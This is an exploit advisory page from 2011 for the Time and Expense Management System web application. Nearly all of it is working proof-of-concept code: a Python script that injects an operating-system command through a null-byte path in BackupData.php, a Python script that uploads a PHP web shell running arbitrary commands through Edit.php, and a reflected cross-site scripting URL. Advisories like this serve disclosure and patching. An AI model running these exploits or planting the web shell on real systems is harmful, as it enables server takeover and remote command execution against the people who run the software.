ExploitFixes
Time and Expense Management System Multiple Vulnerabilities 2011-05-03 09:15:07

# ------------------------------------------------------------------------
# Software................Time and Expense Management System
# Vulnerability...........Command Injection
# Threat Level............Very Critical (5/5)
# Download................http://sourceforge.net/projects/tems/
# Discovery Date..........4/27/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <[email protected]>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# A command injection vulnerability in Time and Expense Management
# System can be exploited to execute arbitrary operating system commands.
#
#
# --PoC--

import socket

host = 'localhost'
path = '/tems'
port = 80

def run_command():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

body = '------x\r\n'\
'Content-Disposition: form-data; name="toFile"\r\n'\
'\r\n'\
'./a\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="DB_Admin_id"\r\n'\
'\r\n'\
'a\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="DB_Admin_Password"\r\n'\
'\r\n'\
'../../../../../../../calc\x00a\r\n'\
'------x--\r\n'\
'\r\n'


s.send('POST %s/systemadmin/BackupData.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Proxy-Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: %d\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n%s' % (path, len(body), body))

print 'request sent, check for calc using the task manger'

run_command()

# ------------------------------------------------------------------------
# Software................Time and Expense Management System
# Vulnerability...........Arbitrary Upload
# Threat Level............Very Critical (5/5)
# Download................http://sourceforge.net/projects/tems/
# Discovery Date..........4/27/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <[email protected]>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# An arbitrary upload vulnerability in Time and Expense Management
# System can be exploited to upload a PHP shell.
#
#
# --PoC--

import socket

host = 'localhost'
path = '/tems'
shell_path = path + '/images/logoshell.php'
port = 80

def upload_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)

s.send('POST ' + path + '/systemadmin/Edit.php HTTP/1.1\r\n'
'Host: localhost\r\n'
'Proxy-Connection: keep-alive\r\n'
'User-Agent: x\r\n'
'Content-Length: 938\r\n'
'Cache-Control: max-age=0\r\n'
'Origin: null\r\n'
'Content-Type: multipart/form-data; boundary=----x\r\n'
'Accept: text/html\r\n'
'Accept-Encoding: gzip,deflate,sdch\r\n'
'Accept-Language: en-US,en;q=0.8\r\n'
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
'\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="uid"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="name"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="address1"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="city"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="state"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="postalcode"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="country"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="weekendday"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="language"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="address2"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="logo"\r\n'
'\r\n'
'shell.php\r\n'
'------x\r\n'
'Content-Disposition: form-data; name="logo"; filename="shell.php"\r\n'
'Content-Type: image/gif\r\n'
'\r\n'
'<?php echo \'<pre>\' + system($_GET[\'CMD\']) + \'</pre>\'; ?>\r\n'
'------x--\r\n'
'\r\n')

resp = s.recv(8192)

http_found = 'HTTP/1.1 302'
http_ok = 'HTTP/1.1 200'

if http_found not in resp[:len(http_found)]:
print 'error uploading shell'
return
else: print 'shell uploaded'

s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
'Host: ' + host + '\r\n\r\n')

if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'
else: print 'shell located at http://' + host + shell_path

upload_shell()

------------------------------------------------------------------------
Software................Time and Expense Management System
Vulnerability...........Reflected Cross-site Scripting
Threat Level............Low (1/5)
Download................http://sourceforge.net/projects/tems/
Discovery Date..........4/27/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <[email protected]>
------------------------------------------------------------------------


--Description--

A reflected cross-site scripting vulnerability in Time and Expense
Management System can be exploited to execute arbitrary JavaScript.


--PoC--

http://localhost/tems/lookup.php?form=a%28%29;}alert%280%29;{//